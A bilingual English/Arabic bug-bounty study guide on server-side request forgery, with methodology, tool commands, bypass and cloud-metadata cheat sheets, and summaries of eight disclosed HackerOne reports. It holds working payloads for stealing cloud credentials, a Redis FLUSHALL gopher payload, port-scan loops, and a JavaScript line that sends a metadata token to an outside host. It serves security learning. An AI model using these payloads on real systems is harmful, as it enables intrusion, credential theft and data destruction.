SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SERVER-SIDE REQUEST FORGERY

SSRF
‫تزوير طلبات جانب الخادم‬
Bug Bounty Study Guide + 15 Real HackerOne Write-Ups

Basic SSRF | Blind SSRF | Full-Read SSRF | Cloud Metadata | Internal Access

‫دليل مختصر ومكّثف للمذاكرة — مصمم للطباعة الملونة‬

Source: HackerOne Hacktivity (All reports publicly disclosed) | OWASP Top 10 #10

HOW TO USE THIS GUIDE | ‫كيف تستخدم الدليل‬

1. Read Glossary first — SSRF has many unique terms not in Access Control
2. Understand the 3 SSRF types before anything else
‫ غالبًا بتتبايپس‬SSRF ‫ كويس — حماية‬Bypass techniques ‫ تعّلم الـ‬.3
4. For each write-up: ask "HOW did the URL parameter get discovered?"
‫ مباشرًة‬PortSwigger SSRF Labs ‫ طّبق على‬:‫ لما تنزل إجازة‬.5

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

TABLE OF CONTENTS | ‫الفهرس‬

1. GLOSSARY — All SSRF-specific terms English ↔ Arabic

2. CONCEPT DEEP DIVE — What is SSRF? The 3 types explained in depth
3. ATTACK MINDSET — 5-step methodology for finding SSRF
4. TOOLS — Burp Collaborator, curl, Interactsh, ffuf — commands included
5. BYPASS CHEAT SHEET — IP obfuscation, DNS tricks, redirects, protocol switches
6. CLOUD METADATA CHEAT SHEET — AWS / GCP / Azure endpoints at a glance
7. COMMON MISTAKES — 10 things hunters get wrong with SSRF
8. 15 REAL WRITE-UPS — HackerOne disclosed reports with full analysis
9. HUNTING CHECKLIST — Runtime checklist — use this when testing

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SECTION 1: GLOSSARY | ‫قاموس المصطلحات‬

‫ موجود هنا — ارجعله لو نسيت أي حاجة‬SSRF ‫كل مصطلح خاص بـ‬

Term | ‫المصطلح‬ Definition | ‫الشرح‬

SSRF ‫تزوير طلبات جانب‬ Server-Side Request Forgery. The server is tricked into making HTTP requests to
‫الخادم‬ destinations chosen by the attacker instead of by the app itself.

Basic SSRF SSRF ‫أساسي‬ The server makes the request AND returns the full response to you. You see
everything the server sees.

Blind SSRF SSRF ‫أعمى‬ The server makes the request but does NOT show you the response. You confirm
it using Out-of-Band techniques (DNS/HTTP ping-back).

Full-Read SSRF SSRF ‫قراءة‬ A Basic SSRF where the complete response is returned — the most valuable
‫كاملة‬ type. Can read files, cloud secrets, internal APIs.

OOB (Out-of-Band) ‫خارج‬ Confirmation technique for Blind SSRF. Inject a URL pointing to your own server
‫النطاق‬ (Burp Collaborator). If it receives a ping — SSRF confirmed.

Cloud Metadata Endpoint Special internal IP ([Link]) that cloud VMs query to get their own
‫نقطة بيانات السحابة‬ config, including IAM credentials.

IMDS ‫ خدمة بيانات الـ‬Instance AWS Instance Metadata Service at [Link]. SSRF reaching it can leak
temporary AWS access keys.

Localhost / [Link] ‫العنوان‬ The server itself. SSRF here reaches internal-only services never exposed
‫المحلي‬ publicly (admin panels, debug endpoints).

Internal Network ‫الشبكة‬ The private network behind the firewall. SSRF probes and reaches internal
‫الداخلية‬ services normally unreachable from outside.

Port Scanning via SSRF Using SSRF to probe internal ports. Open ports respond differently (time/size)
‫ فحص المنافذ عبر‬SSRF than closed ones — this maps the internal network.

Webhook ‫طلب الرد التلقائي‬ A URL the app calls when an event happens. "Notify this URL" features are the
#1 SSRF entry point if the URL is user-controlled.

URL Parameter ‫معامل الـ‬ Any parameter that contains/controls a URL: url=, fetch=, image=, src=,
URL callback=, webhook=. These are SSRF entry points.

Allowlist / Blocklist ‫قائمة‬ Server defenses: allowlist permits only specific domains; blocklist blocks known
‫ الحظر‬/ ‫السماح‬ bad IPs. Both are commonly bypassable.

DNS Rebinding ‫إعادة ربط الـ‬ A domain resolves to an allowed IP first (passes the check), then re-resolves to
DNS an internal IP when the real request is made.

Open Redirect ‫إعادة التوجيه‬ A trusted URL that redirects to an attacker-controlled destination. Used to bypass
‫المفتوحة‬ SSRF filters that only check the initial URL.

file:// Protocol ‫بروتوكول‬ SSRF payload reading local files on the server: [Link]
‫الملفات‬ [Link]

Gopher Protocol ‫بروتوكول‬ Sends raw TCP data via SSRF — can attack Redis, Memcached, SMTP servers
Gopher listening on internal ports.

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SSRF to RCE ‫ من‬SSRF ‫لتنفيذ‬ Chaining SSRF with a code execution bug in an internal service (Redis, Jenkins)
‫كود‬ to achieve Remote Code Execution.

Burp Collaborator ‫أداة التتبع‬ Gives you a unique DNS/HTTP server. Inject its URL to confirm Blind SSRF — a
‫ في‬Burp received ping proves the request happened.

Interactsh ‫ أداة مفتوحة للـ‬OOB Free open-source alternative to Collaborator at [Link], used the same way for
Blind SSRF confirmation.

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SECTION 2: CONCEPT DEEP DIVE | ‫فهم الثغرة بعمق‬

2.1 What Is SSRF? ‫ ما هي ثغرة‬SSRF‫؟‬

SSRF is a vulnerability where an attacker causes the SERVER to make HTTP requests to any destination the
attacker specifies — internal services, cloud metadata, or other external servers.

‫ السيرفر بيبقى‬:‫ الخطورة‬.‫ يبعته نيابًة عنك‬SERVER ‫ إنت بتخّلي الـ‬،‫ مباشرًة‬target ‫ للـ‬request ‫ بدل ما إنت تبعت‬:‫ ببساطة‬SSRF
.firewall ‫جّوا الـ‬

The Core Insight — ‫الفكرة الجوهرية‬

Normal: YOU → [Link] (firewall blocks you from [Link])

SSRF: YOU → [Link] → [Link] (server is INSIDE the firewall!)

.‫المهاجم بيستخدم السيرفر كـ "وسيط" عشان يوصل ألماكن ما يقدرش يوصلها مباشرًة‬

TYPE 1: Basic SSRF | SSRF ‫بسيط‬

The server fetches the URL you specify and returns the FULL response directly to you.
.‫ كامًال ليك مباشرًة‬response ‫ اللي حددته وبيرجع الـ‬URL ‫السيرفر بيجيب الـ‬

Example:
Request: {"url": "[Link]
credentials/"}
Response: {"AWSAccessKeyId": "AKIA...", "SecretAccessKey": "abc..."} ← YOU SEE IT!

Severity: Critical — direct read of cloud credentials, internal configs, and files.

TYPE 2: Blind SSRF | SSRF ‫أعمى‬

The server makes the request but you CANNOT see the response. Confirm with Out-of-Band: inject a
Collaborator URL — if it pings you, SSRF confirmed.
ping، SSRF ‫ — لو استلمت‬Collaborator URL ‫ حقن‬:OOB ‫ أثبته بـ‬.response ‫ بس إنت مش شايف الـ‬request ‫السيرفر بيعمل الـ‬
.‫متأكد‬

Example:
Request: {"url": "[Link]
Response: {"status": "queued"} ← nothing useful directly
Burp Collaborator: DNS lookup RECEIVED from target server's IP! ← confirmed

Severity: High — impact depends on what internal services are reachable, even without reading responses.

TYPE 3: Full-Read SSRF | SSRF ‫قراءة كاملة‬

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

A Basic SSRF where the full response is returned. Most powerful form — reads any internal URL the server can
reach, including cloud metadata.
IAM ‫ بـ‬cloud metadata ‫ بما فيه‬،‫ داخلي‬URL ‫ األقوى — تقدر تقرأ أي‬.response ‫ لكن بترجع كامل الـ‬Basic SSRF ‫زي الـ‬
.credentials

Example:
Request: GET /api/proxy?url=[Link]
credentials/EC2Role
Response: {"AccessKeyId":"ASIA...","SecretAccessKey":"wJal...","Token":"AQo..."} ←
AWS keys leaked!

Severity: Critical → often leads to full cloud account compromise or RCE.

2.2 Where Does SSRF Hide? ‫ فين بتتخّبى‬SSRF‫؟‬

Feature What to Look For

URL/Image Fetching params: url=, src=, fetch=, image=, preview=, thumbnail=

Webhook / Callback URLs params: webhook=, callback=, notify=, hook=, notify_url=

PDF/Screenshot Generation Any feature converting URLs to PDFs or screenshots

File Import from URL params: import=, feed=, remote=, link=, load=

XML/SVG Uploads DOCTYPE with SYSTEM can trigger SSRF/XXE

Video/Media Processing FFmpeg-style tools processing remote media URLs

OAuth / Third-Party Integrations Server fetching tokens or JWKs from configurable URLs

Document Import ("from URL") E-signature, docs, and note-taking platforms

2.3 SSRF Targets — What to Hit ‫ أهداف الـ‬SSRF

Target What You Get

AWS: IAM role name, EC2 instance info

[Link]/latest/meta-
data/

AWS: .../iam/security- Temporary AWS keys + token → AWS takeover

credentials/{role}

GCP: Service account tokens (needs Metadata-Flavor header)

[Link]/compu
teMetadata/v1/

Azure: Instance + subscription info (needs Metadata header)

[Link]/metadata/inst
ance

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

localhost:6379 Redis — often unauthenticated, can lead to RCE

localhost:9200 Elasticsearch — often unauthenticated, data access

localhost:8080/actuator/env Spring Boot config + secrets

[Link] Local file read (if file:// allowed)

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SECTION 3: ATTACK MINDSET | ‫عقلية المهاجم المحترف‬

The SSRF Hunter's Core Question

"Does any feature here cause the SERVER to make an HTTP request based on input I control?"
"‫ إنت بتتحكم فيه؟‬input ‫ بناًء على‬request ‫ هنا بتخّلي السيرفر يعمل‬feature ‫"هل في أي‬

STEP 1: FIND URL INPUT POINTS | ‫ دور على نقاط إدخال الـ‬URL

• → Scan ALL parameters for URL-like values: url=, src=, image=, fetch=, link=
• → Look in request BODIES (JSON) not just query strings
• → Find "fetch"-style features: import from URL, preview, thumbnail, webhook
• → Read JavaScript source for API calls with URL parameters

.‫ دور في كل حتة‬.JSON body ‫ في الـ‬hidden ‫ أحيانًا بيكون‬.‫ واضح‬URL parameter ‫مش كل‬

STEP 2: TEST BASIC CONNECTIVITY | ‫اختبر االتصال األساسي‬

• → Try: [Link] → localhost content returned?

• → Try: [Link] → Collaborator gets a ping?
• → Try: [Link] → any response? (cloud metadata)
• → If Blind: use Collaborator/Interactsh — watch for DNS/HTTP interactions

.SSRF ‫ رد فعل مختلف = عندك‬.Collaborator ‫ أو‬localhost ‫ لـ‬URL ‫ غّير الـ‬:‫البداية بسيطة‬

STEP 3: TEST CLOUD METADATA | ‫ اختبر‬Cloud Metadata

• → AWS first: [Link]

• → If response: enumerate .../iam/security-credentials/
• → GCP: [Link]/computeMetadata/v1/ (+ Metadata-Flavor: Google
header)
• → Azure: [Link]/metadata/instance (+ Metadata: true header)

.‫ مباشرًة‬AWS keys = Critical .‫ أول حاجة تجّربها‬Cloud — [Link] ‫لو التطبيق شّغال‬

STEP 4: TEST INTERNAL NETWORK | ‫استكشف الشبكة الداخلية‬

• → Port scan localhost: 80, 8080, 8443, 3000, 6379, 9200

• → Enumerate internal ranges: [Link], [Link]...
• → Compare response time/size — open vs closed ports differ
• → Use Burp Intruder to scan port ranges automatically

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

.authentication ‫ بدون‬Redis ‫ زي‬services ‫استكشاف الشبكة الداخلية بياخد وقت لكن ممكن تالقي‬

STEP 5: BYPASS & ESCALATE | ‫تجاوز الحماية وصّع د التأثير‬

• → If blocked: use IP obfuscation, DNS rebinding, or open redirects

• → Chain: SSRF + Redis = RCE, SSRF + AWS keys = cloud takeover
• → For Blind SSRF: use Collaborator screenshot as proof + assess reachable services
• → Report with full request, PoC, and exact impact statement

‫ ده؟‬access ‫ أقدر أعمل إيه بالـ‬:‫ نادرًا بيكون نهاية المطاف — فّكر دايمًا‬SSRF

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SECTION 4: TOOLS REFERENCE | ‫األدوات المستخدمة‬

⚙ Burp Collaborator — OOB Confirmation | ‫أداة التتبع الخارجي‬

Gives a unique subdomain that logs every DNS/HTTP interaction it receives — essential for confirming Blind
SSRF.
.Blind SSRF ‫ وصلتله — أساسي لتأكيد‬DNS/HTTP interaction ‫ فريد بيسّجل كل‬subdomain ‫بيديك‬

# Burp menu → Burp Collaborator client → Copy to clipboard

# Use as your SSRF payload:
{"url": "[Link]
# Click "Poll now" to see interactions
# DNS interaction received = Blind SSRF confirmed!

⚙ Interactsh — Open-Source Alternative | ‫بديل مفتوح المصدر‬

Free OOB interaction server — use when you don't have Burp Pro.
.Burp Pro ‫مجاني ومفتوح المصدر — استخدمه لو مش عندك‬

# Install: go install [Link]/projectdiscovery/interactsh/cmd/interactsh-

client@latest
interactsh-client
# Output: [INF] Listing on: c23b2....[Link]
# Use that URL as payload, tool shows pings received automatically

⚙ curl — Manual Testing | ‫اختبار يدوي‬

For manual confirmation and reading exactly what the server returns.
.‫لالختبار اليدوي وقراءة بالضبط إيه اللي السيرفر بيرجعه‬

# Via the app:

curl -s "[Link]
# GCP metadata (needs header):
curl -H "Metadata-Flavor: Google"
[Link]
# Port scan via SSRF app (loop through ports):
for port in 80 8080 6379 9200; do curl -s -o /dev/null -w "%{http_code} "
"[Link] done

⚙ ffuf — Endpoint & Param Discovery | ‫ اكتشاف الـ‬endpoints

Discover URL-accepting endpoints and fuzz internal ports through an SSRF vector.
.SSRF ‫ وفحص منافذ داخلية عبر‬URLs ‫ بتقبل‬endpoints ‫اكتشاف‬

ffuf -w [Link] -u [Link] -mc 200,403

# Port fuzz via confirmed SSRF param:
seq 1 65535 > [Link]
ffuf -w [Link] -u "[Link] -mc 200

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SECTION 5: BYPASS CHEAT SHEET | ‫تقنيات تجاوز الحماية‬

:‫ دي‬bypasses ‫ غالبًا بتتجاوز — ذاكر الـ‬SSRF ‫الحماية ضد‬

1. IP Obfuscation | ‫ تمويه عنوان الـ‬IP

Blocklists check for "[Link]" as a literal string — alternative formats bypass this.

Standard (blocked): [Link]

Decimal: [Link]
Hex: [Link]
IPv6: [Link]

2. DNS-Based Bypass | ‫ تجاوز باستخدام‬DNS

Point your own domain to the target IP — filters check the domain name, not what it resolves to.

[Link] ← resolves directly to that IP

[Link] (A record → [Link])

3. Open Redirect Chain | ‫ سلسلة‬Open Redirects

If the app only checks the initial URL, a redirect from an allowed domain bypasses the filter.

App checks: "URL must start with [Link]

[Link]
← App sees [Link] ✓, then follows redirect to metadata!

4. Protocol Switch | ‫تغيير البروتوكول‬

Some filters only check http/https — try other protocols entirely.

[Link]
[Link]
dict://localhost:6379/info
gopher://localhost:6379/_FLUSHALL

5. IMDSv2 Bypass (AWS) | ‫ تجاوز‬IMDSv2

AWS IMDSv2 needs a PUT first for a session token — some SSRF-vulnerable clients still handle this
transparently.

PUT [Link]
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Then use token in follow-up GET request

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SECTION 6: CLOUD METADATA CHEAT SHEET | ‫ أوامر‬Cloud

Metadata

Endpoint What It Returns

AWS: List of available metadata keys

[Link]
eta-data/

AWS: .../iam/security- IAM role name attached to instance

credentials/

AWS: .../iam/security- AccessKeyId + SecretAccessKey + Token!

credentials/{ROLE}

AWS: .../user-data/ EC2 startup scripts (often contain secrets)

GCP: Needs: Metadata-Flavor: Google header

[Link]/compu
teMetadata/v1/

GCP: .../instance/service- OAuth token for the service account

accounts/default/token

Azure: Needs: Metadata: true + api-version param

[Link]
a/instance

Azure: .../identity/oauth2/token Access token for Azure resources

Generic: Spring Boot: env vars + app config

[Link]
v

SECTION 7: COMMON MISTAKES | ‫األخطاء الشائعة‬

Mistake ❌ Correction ✓

Testing only [Link] Also test: localhost ports, [Link] dict://, internal hostnames

Giving up after being blocked SSRF filters are notoriously bypassable — try ALL bypass techniques

Reporting Blind SSRF with no PoC Use Collaborator screenshot + reachable-service analysis as proof

Not checking the cloud provider Always confirm AWS/GCP/Azure — metadata access is Critical severity

Missing URL params in JSON bodies Look for imageUrl, webhookEndpoint, callbackUrl inside JSON

Not testing redirect chains Server may follow redirects — test allowed→internal redirect chains

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

Underrating Blind SSRF Blind SSRF still proves internal network reachability — still valuable

Ignoring media/document processing SVG, DOCX, HLS files can carry embedded URLs triggering SSRF

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SECTION 8: 15 REAL WRITE-UPS | ‫ تقرير حقيقي من‬١٥ HackerOne

HOW TO READ EACH WRITE-UP

Ask yourself BEFORE reading the analysis:

• 1. What feature caused the server to make a request?
• 2. Which URL parameter was the entry point?
• 3. Was this Basic, Blind, or Full-Read SSRF?
• 4. What internal target was reached — what was the actual impact?

.payloads ‫ — مش بس حفظ الـ‬SSRF ‫األسئلة دي هي اللي بتبني عندك "حاسة" الـ‬

#1 Expense Report Image URL Leads to SSRF on Lyft

Field Details

Company / Program Lyft

HackerOne URL [Link]

SSRF Type Full-Read SSRF

Vulnerability Type SSRF + AWS Metadata

Severity CRITICAL

Bounty $0 (VDP)

Community Upvotes 653

SUMMARY | ‫الملخص‬
An expense report feature let users attach a receipt image from a URL. The server fetched that URL server-side.
Providing the AWS metadata URL instead of an image returned IAM credentials directly in the "attached image."

،‫ بدل صورة‬AWS metadata URL ‫ بتحديد‬.‫ في تقرير المصروفات — السيرفر بيجيب الصورة بنفسه‬URL ‫ميزة إرفاق إيصال من‬
.IAM credentials ‫رجعت‬

ENTRY POINT — how did the server get tricked into making the request?
"Attach receipt from URL" field in expense report form

PAYLOAD USED
[Link]

EXPLOITATION STEPS | ‫خطوات االستغالل‬

1. 1. Go to expense report submission
2. 2. In "receipt from URL" field enter the metadata URL
3. 3. Submit the report
4. 4. View "attached image" — it renders the metadata response

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

5. 5. Refine to .../iam/security-credentials/{role} → get AWS keys

SIGNAL — What feature betrayed its server-side fetching?

ANY feature fetching an image from a URL is a potential SSRF entry: receipts, avatars, logos, thumbnails.

KEY LESSON | ‫الدرس األساسي‬

Non-obvious business features (expense reports!) are excellent SSRF sources because nobody expects them to make
network requests.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

Test every "attach/import from URL" feature you find — receipts, avatars, product images, document imports — with
[Link] first.

#2 SSRF in Shopify Exchange Leads to Root Access

Field Details

Company / Program Shopify

HackerOne URL [Link]

SSRF Type Full-Read SSRF → RCE

Vulnerability Type SSRF + AWS Metadata + Cloud Compromise

Severity CRITICAL

Bounty $0

Community Upvotes 571

SUMMARY | ‫الملخص‬
Shopify Exchange fetched product images from external URLs. SSRF to AWS metadata returned temporary IAM
credentials, later leveraged for root access across multiple cloud instances.

‫ اسُتخدمت‬IAM credentials ‫ رجعت‬AWS metadata ‫ لـ‬SSRF .‫ خارجية‬URLs ‫ كانت بتجيب صور المنتجات من‬Shopify Exchange
.root ‫للوصول لـ‬

ENTRY POINT — how did the server get tricked into making the request?
Product image URL field in Exchange marketplace listing

PAYLOAD USED
[Link]
elasticbeanstalk-ec2-role

EXPLOITATION STEPS | ‫خطوات االستغالل‬

6. 1. Create a product listing on Shopify Exchange
7. 2. Set image URL to the metadata endpoint
8. 3. SSRF reveals metadata directory listing
9. 4. Navigate to .../iam/security-credentials/{role}
10. 5. Temporary AWS credentials returned with high privileges

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

SIGNAL — What feature betrayed its server-side fetching?

Marketplace/seller platforms letting content be uploaded "from URL" are prime SSRF targets — this pattern is
everywhere.

KEY LESSON | ‫الدرس األساسي‬

SSRF + AWS metadata is THE most dangerous chain. Whenever you confirm SSRF on a cloud-hosted app, go straight
for [Link].

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On any marketplace platform: find product/asset image upload from URL and test it directly with the AWS metadata
endpoint.

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

#3 SSRF via Analytics Report Data Source

Field Details

Company / Program HackerOne

HackerOne URL [Link]

SSRF Type Full-Read SSRF

Vulnerability Type SSRF + Internal Service Access

Severity CRITICAL

Bounty $0

Community Upvotes 508

SUMMARY | ‫الملخص‬
The analytics report generation feature accepted external data source URLs. Providing an internal URL caused the
server to fetch it and embed the response in the generated report.

‫ قراءة‬SSRF — ‫ داخلي خّلى السيرفر يجيبه ويحطه في التقرير‬URL .‫ لمصادر بيانات‬URLs ‫ قبلت‬Analytics ‫ميزة توليد تقارير‬
.‫كاملة‬

ENTRY POINT — how did the server get tricked into making the request?
Analytics report data source URL parameter

PAYLOAD USED
[Link]

EXPLOITATION STEPS | ‫خطوات االستغالل‬

11. 1. Access the analytics/reporting feature
12. 2. Find the data source / import URL parameter
13. 3. Inject an internal service URL instead of an external one
14. 4. Generate the report
15. 5. Output contains the internal service response

SIGNAL — What feature betrayed its server-side fetching?

Analytics/reporting features that accept data source URLs are high-value and often overlooked because they read as
"business logic."

KEY LESSON | ‫الدرس األساسي‬

Business features far from "security testing" (reports, dashboards, analytics) often have SSRF because the
external/internal distinction is missed.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On any platform with analytics or reporting: look for "connect data source" or "import from URL" and test with internal
service paths.

#4 SSRF Using JavaScript Exfiltrates GCP Metadata

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

Field Details

Company / Program Snapchat

HackerOne URL [Link]

SSRF Type Full-Read SSRF + GCP Metadata

Vulnerability Type SSRF via Code Execution

Severity CRITICAL

Bounty $0

Community Upvotes 416

SUMMARY | ‫الملخص‬
A server-side JavaScript execution feature let the researcher inject code that called the GCP metadata service directly,
extracting service account tokens.

service account ‫ واستخرج‬GCP metadata service ‫ لـ‬fetch ‫ على السيرفر — الباحث حقن كود بيعمل‬JavaScript ‫ميزة تنفيذ‬
.tokens

ENTRY POINT — how did the server get tricked into making the request?
Server-side JS execution environment (developer platform feature)

PAYLOAD USED
fetch("[Link]
accounts/default/token", {headers:{"Metadata-
Flavor":"Google"}}).then(r=>[Link]()).then(d=>fetch("[Link]
d="+btoa(d)))

EXPLOITATION STEPS | ‫خطوات االستغالل‬

16. 1. Find the server-side JS execution feature
17. 2. Inject JS calling the GCP metadata endpoint with required header
18. 3. Exfiltrate the response to your own server
19. 4. Receive the OAuth service account token

SIGNAL — What feature betrayed its server-side fetching?

Server-side code execution (JS, templates, SSTI) is an indirect but powerful SSRF vector — the code can make
network requests from server context.

KEY LESSON | ‫الدرس األساسي‬

SSRF isn't only about URL parameters. Code execution in server context = equivalent capability. Always test for
outbound requests from any code execution bug.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

When you find server-side code execution: try making HTTP requests to internal IPs and cloud metadata from that
context, exfiltrating results externally.

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

#5 SSRF at HelloSign Leads to AWS Credential Leak

Field Details

Company / Program Dropbox (HelloSign)

HackerOne URL [Link]

SSRF Type Full-Read SSRF

Vulnerability Type SSRF + AWS Keys

Severity CRITICAL

Bounty $4,913

Community Upvotes 360

SUMMARY | ‫الملخص‬
An "import document from URL" endpoint let the researcher point to AWS EC2 metadata, obtaining temporary IAM
credentials for HelloSign production infrastructure.

.production ‫ لـ‬IAM credentials ‫ الباحث حصل على‬،AWS EC2 metadata ‫ — بتوجيهه لـ‬URL ‫ استيراد مستندات من‬endpoint

ENTRY POINT — how did the server get tricked into making the request?
"Import document from URL" API feature

PAYLOAD USED
[Link]

EXPLOITATION STEPS | ‫خطوات االستغالل‬

20. 1. Use the API to import a document from URL
21. 2. Set document URL to the metadata endpoint
22. 3. API "processes" the document and returns its content
23. 4. Enumerate .../iam/security-credentials/ for the role name
24. 5. Fetch role credentials → AccessKeyId + SecretAccessKey + Token

SIGNAL — What feature betrayed its server-side fetching?

Document/file import from URL is a classic vector across e-signature, PDF, and document management platforms.

KEY LESSON | ‫الدرس األساسي‬

This exact pattern ("import document/file from URL") appears consistently across the document-processing industry —
always worth testing.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On any e-signature or document platform: find "import from link" and test with the AWS metadata endpoint.

#6 SSRF via remote_attachment_url on GitLab Project Import

Field Details

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

Company / Program GitLab

HackerOne URL [Link]

SSRF Type Full-Read SSRF

Vulnerability Type SSRF + Internal Services

Severity CRITICAL

Bounty $10,000

Community Upvotes 352

SUMMARY | ‫الملخص‬
GitLab's project import feature accepted a remote_attachment_url the server fetched to import note attachments — not
properly restricted, allowing SSRF to internal services.

.‫ مش مقّيد كفاية‬attachments — URL ‫ السيرفر بيجيبه الستيراد‬remote_attachment_url ‫ميزة استيراد المشاريع قبلت‬

ENTRY POINT — how did the server get tricked into making the request?
remote_attachment_url parameter in GitLab project import API

PAYLOAD USED
[Link] OR [Link]

EXPLOITATION STEPS | ‫خطوات االستغالل‬

25. 1. POST /api/v4/projects/{id}/import with remote_attachment_url set to an internal target
26. 2. Server fetches the URL to "import" the attachment
27. 3. Response stored as the attachment content
28. 4. Read the imported attachment to view the internal response

SIGNAL — What feature betrayed its server-side fetching?

Developer platforms (GitHub/GitLab) have complex import/export features — ANY URL parameter there is worth
testing.

KEY LESSON | ‫الدرس األساسي‬

Developer platforms are high-value SSRF targets because of the credentials/secrets typically stored on them.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On GitLab/GitHub: test all import features, CI/CD webhook configs, and integration endpoints for URL parameters.

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

#7 Blind SSRF via Reddit Link Preview API

Field Details

Company / Program Reddit

HackerOne URL [Link]

SSRF Type Blind SSRF

Vulnerability Type Blind SSRF + Internal Network Enumeration

Severity HIGH

Bounty $6,000

Community Upvotes 329

SUMMARY | ‫الملخص‬
Reddit's link preview generator made server-side requests to fetch preview data. The researcher confirmed Blind SSRF
via Collaborator and demonstrated internal enumeration through timing differences.

‫ ونجح في‬Collaborator ‫ بـ‬Blind SSRF ‫ الباحث أثبت‬.server-side requests ‫ كان بيعمل‬Reddit ‫ في‬link preview ‫موّلد الـ‬
.‫استكشاف الشبكة عبر فروق التوقيت‬

ENTRY POINT — how did the server get tricked into making the request?
Link preview generation API (URL submission for preview)

PAYLOAD USED
[Link]

EXPLOITATION STEPS | ‫خطوات االستغالل‬

29. 1. Post a URL that triggers link preview generation
30. 2. Replace it with a Collaborator URL in Burp
31. 3. Submit — check Collaborator for DNS interaction
32. 4. Test internal IPs, compare response timing to map the internal network

SIGNAL — What feature betrayed its server-side fetching?

Link preview features (post a URL, get a thumbnail/title) are extremely common SSRF vectors on social platforms.

KEY LESSON | ‫الدرس األساسي‬

Blind SSRF is still valuable without reading responses — proving reachability plus internal enumeration earns a solid
bounty.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On any platform with link previews: share a URL, note where the preview comes from, test that fetch mechanism for
SSRF.

#8 Full Response SSRF via Google Drive OAuth Integration

Field Details

For Educational Purposes Only | Study hard, hunt smart

 SSRF — Server-Side Request Forgery | Bug Bounty Study Guide | HackerOne Disclosed Reports

Company / Program Dropbox

HackerOne URL [Link]

SSRF Type Full-Read SSRF

Vulnerability Type SSRF + OAuth Token

Severity CRITICAL

Bounty $17,576

Community Upvotes 302

SUMMARY | ‫الملخص‬
By manipulating the Google Drive OAuth flow to point at an internal URL instead of Google's API, the researcher
achieved SSRF to AWS metadata and obtained infrastructure credentials.

‫ وحصل على‬AWS metadata ‫ لـ‬SSRF ‫ الباحث حقق‬،‫ داخلي‬URL ‫ لإلشارة لـ‬Google Drive ‫ بتاع‬OAuth flow ‫بالتالعب في‬
.credentials

ENTRY POINT — how did the server get tricked into making the request?
Google Drive OAuth integration endpoint

PAYLOAD USED
Manipulated OAuth redirect/endpoint URL pointing to [Link]

EXPLOITATION STEPS | ‫خطوات االستغالل‬

33. 1. Connect the app to Google Drive (OAuth flow)
34. 2. Intercept the OAuth callback/token exchange request
35. 3. Manipulate the redirect/endpoint URL to point at metadata
36. 4. Server "fetches" from the internal URL thinking it's Google
37. 5. AWS credentials returned in the response

SIGNAL — What feature betrayed its server-side fetching?

Third-party OAuth integrations make server-side requests to external APIs — the "external API URL" is sometimes
manipulable.

KEY LESSON | ‫الدرس األساسي‬

One of the highest SSRF bounties ever recorded — OAuth flows are sophisticated but high-value SSRF vectors.

HOW TO APPLY WHEN TESTING | ‫كيف تطّبق ده وانت بتهانت‬

On platforms with OAuth integrations: intercept the flow requests, look for manipulable URL parameters in the server-
side calls.

For Educational Purposes Only | Study hard, hunt smart

